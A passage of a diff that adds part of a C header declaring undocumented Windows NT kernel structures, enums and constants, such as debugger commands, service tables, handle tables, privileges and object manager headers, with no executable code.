_SECTION_IMAGE_INFORMATION64 { + ULONGLONG TransferAddress; + ULONG ZeroBits; + ULONGLONG MaximumStackSize; + ULONGLONG CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[1]; +} SECTION_IMAGE_INFORMATION64, *PSECTION_IMAGE_INFORMATION64; + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +#define SEC_BASED 0x200000 +#define SEC_NO_CHANGE 0x400000 +#define SEC_FILE 0x800000 +#define SEC_IMAGE 0x1000000 +#define SEC_RESERVE 0x4000000 +#define SEC_COMMIT 0x8000000 +#define SEC_NOCACHE 0x10000000 +#define SEC_GLOBAL 0x20000000 +#define SEC_LARGE_PAGES 0x80000000 + +/* +** Section END +*/ + +/* +** Kernel Debugger START +*/ + +#ifndef _SYSDBG_COMMAND +typedef enum _SYSDBG_COMMAND { + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid +} SYSDBG_COMMAND, *PSYSDBG_COMMAND; +#endif + +#ifndef _SYSDBG_VIRTUAL +typedef struct _SYSDBG_VIRTUAL +{ + PVOID Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; +#endif + +/* +** Kernel Debugger END +*/ + +/* +** System Table START +*/ +#define NUMBER_SERVICE_TABLES 2 +#define SERVICE_NUMBER_MASK ((1 << 12) - 1) + +#if defined(_WIN64) + +#if defined(_AMD64_) + +#define SERVICE_TABLE_SHIFT (12 - 4) +#define SERVICE_TABLE_MASK (((1 << 1) - 1) << 4) +#define SERVICE_TABLE_TEST (WIN32K_SERVICE_INDEX << 4) + +#else + +#define SERVICE_TABLE_SHIFT (12 - 5) +#define SERVICE_TABLE_MASK (((1 << 1) - 1) << 5) +#define SERVICE_TABLE_TEST (WIN32K_SERVICE_INDEX << 5) + +#endif + +#else + +#define SERVICE_TABLE_SHIFT (12 - 4) +#define SERVICE_TABLE_MASK (((1 << 1) - 1) << 4) +#define SERVICE_TABLE_TEST (WIN32K_SERVICE_INDEX << 4) + +#endif + +typedef struct _KSERVICE_TABLE_DESCRIPTOR { + ULONG_PTR Base; //e.g. KiServiceTable + PULONG Count; + ULONG Limit;//e.g. KiServiceLimit + PUCHAR Number; //e.g. KiArgumentTable +} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR; +/* +** System Table END +*/ + + +/* +** System Boot Environment START +*/ + +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1 // Size=20 +{ + struct _GUID BootIdentifier; + enum _FIRMWARE_TYPE FirmwareType; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1; + +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION // Size=32 +{ + struct _GUID BootIdentifier; + enum _FIRMWARE_TYPE FirmwareType; + unsigned __int64 BootFlags; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION; + +/* +** System Boot Environment END +*/ + +/* +** Mutant START +*/ + +#ifndef _MUTANT_INFORMATION_CLASS +typedef enum _MUTANT_INFORMATION_CLASS { + MutantBasicInformation +} MUTANT_INFORMATION_CLASS; +#endif + +#ifndef _MUTANT_BASIC_INFORMATION +typedef struct _MUTANT_BASIC_INFORMATION { + LONG CurrentCount; + BOOLEAN OwnedByCaller; + BOOLEAN AbandonedState; +} MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION; +#endif + +/* +** Mutant END +*/ + +/* +** Key START +*/ + +#ifndef _KEY_INFORMATION_CLASS +typedef enum _KEY_INFORMATION_CLASS { + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; +#endif + +#ifndef _KEY_FULL_INFORMATION +typedef struct _KEY_FULL_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; +} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION; +#endif + +#ifndef _KEY_BASIC_INFORMATION +typedef struct _KEY_BASIC_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; +#endif + +#ifndef _KEY_VALUE_INFORMATION_CLASS +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; +#endif + +#ifndef _KEY_VALUE_BASIC_INFORMATION +typedef struct _KEY_VALUE_BASIC_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; // Variable size +} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; +#endif + +#ifndef _KEY_VALUE_FULL_INFORMATION +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size + // Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; +#endif + +#ifndef _KEY_VALUE_PARTIAL_INFORMATION +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; +#endif + +#ifndef _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 +typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 { + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; +#endif + +#ifndef _KEY_VALUE_ENTRY +typedef struct _KEY_VALUE_ENTRY { + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; +#endif + +/* +** Key END +*/ + +/* +** IoCompletion START +*/ + +#ifndef _IO_COMPLETION_INFORMATION_CLASS +typedef enum _IO_COMPLETION_INFORMATION_CLASS { + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; +#endif + +#ifndef _IO_COMPLETION_BASIC_INFORMATION +typedef struct _IO_COMPLETION_BASIC_INFORMATION { + LONG Depth; +} IO_COMPLETION_BASIC_INFORMATION, *PIO_COMPLETION_BASIC_INFORMATION; +#endif + +/* +** IoCompletion END +*/ + +/* +** Event START +*/ + +// +// Event Specific Access Rights. +// + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation +} EVENT_INFORMATION_CLASS; + +typedef enum _EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef struct _EVENT_BASIC_INFORMATION { + EVENT_TYPE EventType; + LONG EventState; +} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION; + +/* +** Event END +*/ + +/* +** TIME_FIELDS START +*/ + +#ifndef CSHORT +typedef short CSHORT; +#endif +typedef struct _TIME_FIELDS { + CSHORT Year; // range [1601...] + CSHORT Month; // range [1..12] + CSHORT Day; // range [1..31] + CSHORT Hour; // range [0..23] + CSHORT Minute; // range [0..59] + CSHORT Second; // range [0..59] + CSHORT Milliseconds;// range [0..999] + CSHORT Weekday; // range [0..6] == [Sunday..Saturday] +} TIME_FIELDS; +typedef TIME_FIELDS *PTIME_FIELDS; + +/* +** TIME_FIELDS END +*/ +typedef struct _SYSTEM_MODULE_ENTRY_INFO +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} SYSTEM_MODULE_ENTRY_INFO, *PSYSTEM_MODULE_ENTRY_INFO; + +typedef struct _SYSTEM_MODULE_INFORMATION +{ + ULONG NumberOfModules; + SYSTEM_MODULE_ENTRY_INFO Modules[1]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; +/* +** HANDLE START +*/ + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION { + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { + PVOID Object; + ULONG_PTR UniqueProcessId; + ULONG_PTR HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX { + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; +} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; + +/* +** HANDLE END +*/ + +// Privileges + +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) +#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_CREATE_SYMBOLIC_LINK_PRIVILEGE + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +/* +** OBJECT MANAGER START +*/ + +// +// Header flags +// + +#define OB_FLAG_NEW_OBJECT 0x01 +#define OB_FLAG_KERNEL_OBJECT 0x02 +#define OB_FLAG_CREATOR_INFO 0x04 +#define OB_FLAG_EXCLUSIVE_OBJECT 0x08 +#define OB_FLAG_PERMANENT_OBJECT 0x10 +#define OB_FLAG_DEFAULT_SECURITY_QUOTA 0x20 +#define OB_FLAG_SINGLE_HANDLE_ENTRY 0x40 +#define OB_FLAG_DELETED_INLINE 0x80 + +// +// InfoMask values +// + +#define OB_INFOMASK_PROCESS_INFO 0x10 +#define OB_INFOMASK_QUOTA 0x08 +#define OB_INFOMASK_HANDLE 0x04 +#define OB_INFOMASK_NAME 0x02 +#define OB_INFOMASK_CREATOR_INFO 0x01 + +typedef PVOID *PDEVICE_MAP; + +typedef struct _OBJECT_DIRECTORY_ENTRY { + PVOID ChainLink; + PVOID Object; + ULONG HashValue; +} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY; + +typedef struct _EX_PUSH_LOCK { + union + { + ULONG Locked : 1; + ULONG Waiting : 1; + ULONG Waking : 1; + ULONG MultipleShared : 1; + ULONG Shared : 28; + ULONG Value; + PVOID Ptr; + }; +} EX_PUSH_LOCK, *PEX_PUSH_LOCK; + +typedef struct _OBJECT_NAMESPACE_LOOKUPTABLE { + LIST_ENTRY HashBuckets[37]; + EX_PUSH_LOCK Lock; + ULONG NumberOfPrivateSpaces; +} OBJECT_NAMESPACE_LOOKUPTABLE, *POBJECT_NAMESPACE_LOOKUPTABLE; + +typedef struct _OBJECT_NAMESPACE_ENTRY { + LIST_ENTRY ListEntry; + PVOID NamespaceRootDirectory; + ULONG SizeOfBoundaryInformation; + ULONG Reserved; + UCHAR HashValue; + ULONG Alignment; +} OBJECT_NAMESPACE_ENTRY, *POBJECT_NAMESPACE_ENTRY; + +typedef struct _OBJECT_DIRECTORY { + POBJECT_DIRECTORY_ENTRY HashBuckets[37]; + EX_PUSH_LOCK Lock; + PDEVICE_MAP DeviceMap; + ULONG SessionId; + PVOID NamespaceEntry; + ULONG Flags; +} OBJECT_DIRECTORY, *POBJECT_DIRECTORY; + +typedef struct _OBJECT_HEADER_NAME_INFO { + POBJECT_DIRECTORY Directory; + UNICODE_STRING Name; + ULONG QueryReferences; +} OBJECT_HEADER_NAME_INFO, *POBJECT_HEADER_NAME_INFO; + +typedef struct _OBJECT_HEADER_CREATOR_INFO {// Size=32 + LIST_ENTRY TypeList; // Size=16 Offset=0 + PVOID CreatorUniqueProcess; // Size=8 Offset=16 + USHORT CreatorBackTraceIndex; // Size=2 Offset=24 + USHORT Reserved; // Size=2 Offset=26 +} OBJECT_HEADER_CREATOR_INFO, *POBJECT_HEADER_CREATOR_INFO; + +typedef struct _OBJECT_HANDLE_COUNT_ENTRY {// Size=16 + PVOID Process; // Size=8 Offset=0 + struct + { + unsigned long HandleCount : 24; // Size=4 Offset=8 BitOffset=0 BitCount=24 + unsigned long LockCount : 8; // Size=4 Offset=8 BitOffset=24 BitCount=8 + }; +} OBJECT_HANDLE_COUNT_ENTRY, *POBJECT_HANDLE_COUNT_ENTRY; + +typedef struct _OBJECT_HEADER_HANDLE_INFO // Size=16 +{ + union + { + PVOID HandleCountDataBase; // Size=8 Offset=0 + struct _OBJECT_HANDLE_COUNT_ENTRY SingleEntry; // Size=16 Offset=0 + }; +} OBJECT_HEADER_HANDLE_INFO, *POBJECT_HEADER_HANDLE_INFO; + +typedef struct _OBJECT_HEADER_PROCESS_INFO { // Size=16 + PVOID ExclusiveProcess; // Size=8 Offset=0 + unsigned __int64 Reserved; // Size=8 Offset=8 +} OBJECT_HEADER_PROCESS_INFO, *POBJECT_HEADER_PROCESS_INFO; + +typedef struct _OBJECT_HEADER_QUOTA_INFO { + ULONG PagedPoolCharge; //4 + ULONG NonPagedPoolCharge; //4 + ULONG SecurityDescriptorCharge; //4 + PVOID SecurityDescriptorQuotaBlock; //sizeof(pointer) + unsigned __int64 Reserved; //sizeof(uint64) +} OBJECT_HEADER_QUOTA_INFO, *POBJECT_HEADER_QUOTA_INFO; + +typedef struct _QUAD { + union + { + INT64 UseThisFieldToCopy; + float DoNotUseThisField; + }; +} QUAD, *PQUAD; + +typedef struct _OBJECT_CREATE_INFORMATION { + ULONG Attributes; + PVOID RootDirectory; + CHAR ProbeMode; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG SecurityDescriptorCharge; + PVOID SecurityDescriptor; + PSECURITY_QUALITY_OF_SERVICE SecurityQos; + SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService; +} OBJECT_CREATE_INFORMATION, *POBJECT_CREATE_INFORMATION; + +typedef enum _POOL_TYPE { + NonPagedPool = 0, + NonPagedPoolExecute = 0, + PagedPool = 1, + NonPagedPoolMustSucceed = 2, + DontUseThisType = 3, + NonPagedPoolCacheAligned = 4, + PagedPoolCacheAligned = 5, + NonPagedPoolCacheAlignedMustS = 6, + MaxPoolType = 7, + NonPagedPoolBase = 0, + NonPagedPoolBaseMustSucceed = 2, + NonPagedPoolBaseCacheAligned = 4, + NonPagedPoolBaseCacheAlignedMustS = 6, + NonPagedPoolSession = 32, + PagedPoolSession = 33, + NonPagedPoolMustSucceedSession = 34, + DontUseThisTypeSession = 35, + NonPagedPoolCacheAlignedSession = 36, + PagedPoolCacheAlignedSession = 37, + NonPagedPoolCacheAlignedMustSSession = 38, + NonPagedPoolNx = 512, + NonPagedPoolNxCacheAligned = 516, + NonPagedPoolSessionNx = 544 +} POOL_TYPE; + +typedef struct _OBJECT_TYPE_INITIALIZER_V1 { + USHORT Length; + BOOLEAN UseDefaultObject; + BOOLEAN Reserved1; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ACCESS_MASK ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + BOOLEAN MaintainTypeList; + UCHAR Reserved2; + BOOLEAN PagedPool; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + PVOID ParseProcedure; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; +} OBJECT_TYPE_INITIALIZER_V1, *POBJECT_TYPE_INITIALIZER_V1; + +typedef struct _OBJECT_TYPE_INITIALIZER_V2 {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 +} OBJECT_TYPE_INITIALIZER_V2, *POBJECT_TYPE_INITIALIZER_V2; + +typedef struct _OBJECT_TYPE_INITIALIZER_V3 {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 + ULONG WaitObjectFlagMask; // Size=4 Offset=112 + USHORT WaitObjectFlagOffset; // Size=2 Offset=116 + USHORT WaitObjectPointerOffset; // Size=2 Offset=118 +} OBJECT_TYPE_INITIALIZER_V3, *POBJECT_TYPE_INITIALIZER_V3; + +typedef struct _OBJECT_TYPE_INITIALIZER {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 +} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; + +typedef struct _OBJECT_TYPE_V2 {// Size=216 + LIST_ENTRY TypeList; // Size=16 Offset=0 + UNICODE_STRING Name; // Size=16 Offset=16 + PVOID DefaultObject; // Size=8 Offset=32 + UCHAR Index; // Size=1 Offset=40 + ULONG TotalNumberOfObjects; // Size=4 Offset=44 + ULONG TotalNumberOfHandles; // Size=4 Offset=48 + ULONG HighWaterNumberOfObjects; // Size=4 Offset=52 + ULONG HighWaterNumberOfHandles; // Size=4 Offset=56 + OBJECT_TYPE_INITIALIZER_V2 TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE_V2, *POBJECT_TYPE_V2; + +typedef struct _OBJECT_TYPE_V3 {// Size=216 + LIST_ENTRY TypeList; // Size=16 Offset=0 + UNICODE_STRING Name; // Size=16 Offset=16 + PVOID DefaultObject; // Size=8 Offset=32 + UCHAR Index; // Size=1 Offset=40 + ULONG TotalNumberOfObjects; // Size=4 Offset=44 + ULONG TotalNumberOfHandles; // Size=4 Offset=48 + ULONG HighWaterNumberOfObjects; // Size=4 Offset=52 + ULONG HighWaterNumberOfHandles; // Size=4 Offset=56 + OBJECT_TYPE_INITIALIZER_V3 TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE_V3, *POBJECT_TYPE_V3; + +typedef struct _OBJECT_TYPE_COMPATIBLE { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER_V2 TypeInfo; +} OBJECT_TYPE_COMPATIBLE, *POBJECT_TYPE_COMPATIBLE; + +/* +** brand new header starting from 6.1 +*/ + +typedef struct _OBJECT_HEADER { + LONG PointerCount; + union + { + LONG HandleCount; + PVOID NextToFree; + }; + EX_PUSH_LOCK Lock; + UCHAR TypeIndex; + UCHAR TraceFlags; + UCHAR InfoMask; + UCHAR Flags; + union + { + POBJECT_CREATE_INFORMATION ObjectCreateInfo; + PVOID QuotaBlockCharged; + }; + PVOID SecurityDescriptor; + QUAD Body; +} OBJECT_HEADER, *POBJECT_HEADER; + +#define OBJECT_TO_OBJECT_HEADER(obj) \ + CONTAINING_RECORD( (obj), OBJECT_HEADER, Body ) + +/* +** OBJECT MANAGER END +*/ + +/* +* WDM START +*/ +#define TIMER_TOLERABLE_DELAY_BITS 6 +#define TIMER_EXPIRED_INDEX_BITS 6 +#define TIMER_PROCESSOR_INDEX_BITS 5 + +typedef struct _DISPATCHER_HEADER { + union { + union { + volatile LONG Lock; + LONG LockNV; + } DUMMYUNIONNAME; + + struct { // Events, Semaphores, Gates, etc. + UCHAR Type; // All (accessible via KOBJECT_TYPE) + UCHAR Signalling; + UCHAR Size; + UCHAR Reserved1; + } DUMMYSTRUCTNAME; + + struct { // Timer + UCHAR TimerType; + union { + UCHAR TimerControlFlags; + struct { + UCHAR Absolute : 1; + UCHAR Wake : 1; + UCHAR EncodedTolerableDelay : TIMER_TOLERABLE_DELAY_BITS; + } DUMMYSTRUCTNAME; + }; + + UCHAR Hand; + union { + UCHAR TimerMiscFlags; + struct { + +#if !defined(KENCODED_TIMER_PROCESSOR) + + UCHAR Index : TIMER_EXPIRED_INDEX_BITS; + +#else + + UCHAR Index : 1; + UCHAR Processor : TIMER_PROCESSOR_INDEX_BITS; + +#endif + + UCHAR Inserted : 1; + volatile UCHAR Expired : 1; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + } DUMMYSTRUCTNAME2; + + struct { // Timer2 + UCHAR Timer2Type; + union { + UCHAR Timer2Flags; + struct { + UCHAR Timer2Inserted : 1; + UCHAR Timer2Expiring : 1; + UCHAR Timer2CancelPending : 1; + UCHAR Timer2SetPending : 1; + UCHAR Timer2Running : 1; + UCHAR Timer2Disabled : 1; + UCHAR Timer2ReservedFlags : 2; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + UCHAR Timer2Reserved1; + UCHAR Timer2Reserved2; + } DUMMYSTRUCTNAME3; + + struct { // Queue + UCHAR QueueType; + union { + UCHAR QueueControlFlags; + struct { + UCHAR Abandoned : 1; + UCHAR DisableIncrement : 1; + UCHAR QueueReservedControlFlags : 6; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + UCHAR QueueSize; + UCHAR QueueReserved; + } DUMMYSTRUCTNAME4; + + struct { // Thread + UCHAR ThreadType; + UCHAR ThreadReserved; + union { + UCHAR ThreadControlFlags; + struct { + UCHAR CycleProfiling : 1; + UCHAR CounterProfiling : 1; + UCHAR GroupScheduling : 1; + UCHAR AffinitySet : 1; + UCHAR ThreadReservedControlFlags : 4; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + union { + UCHAR DebugActive; + +#if !defined(_X86_) + + struct { + BOOLEAN ActiveDR7 : 1; + BOOLEAN Instrumented : 1; + BOOLEAN Minimal : 1; + BOOLEAN Reserved4 : 3; + BOOLEAN UmsScheduled : 1; + BOOLEAN UmsPrimary : 1; + } DUMMYSTRUCTNAME; + +#endif + + } DUMMYUNIONNAME2; + } DUMMYSTRUCTNAME5; + + struct { // Mutant + UCHAR MutantType; + UCHAR MutantSize; + BOOLEAN DpcActive; + UCHAR MutantReserved; + } DUMMYSTRUCTNAME6; + } DUMMYUNIONNAME; + + LONG SignalState; // Object lock + LIST_ENTRY WaitListHead; // Object lock +} DISPATCHER_HEADER, *PDISPATCHER_HEADER; + +typedef struct _KEVENT { + DISPATCHER_HEADER Header; +} KEVENT, *PKEVENT, *PRKEVENT; + +typedef struct _KMUTANT { + DISPATCHER_HEADER Header; + LIST_ENTRY MutantListEntry; + struct _KTHREAD *OwnerThread; + BOOLEAN Abandoned; + UCHAR ApcDisable; +} KMUTANT, *PKMUTANT, *PRKMUTANT, KMUTEX, *PKMUTEX, *PRKMUTEX; + +typedef struct _KSEMAPHORE { + DISPATCHER_HEADER Header; + 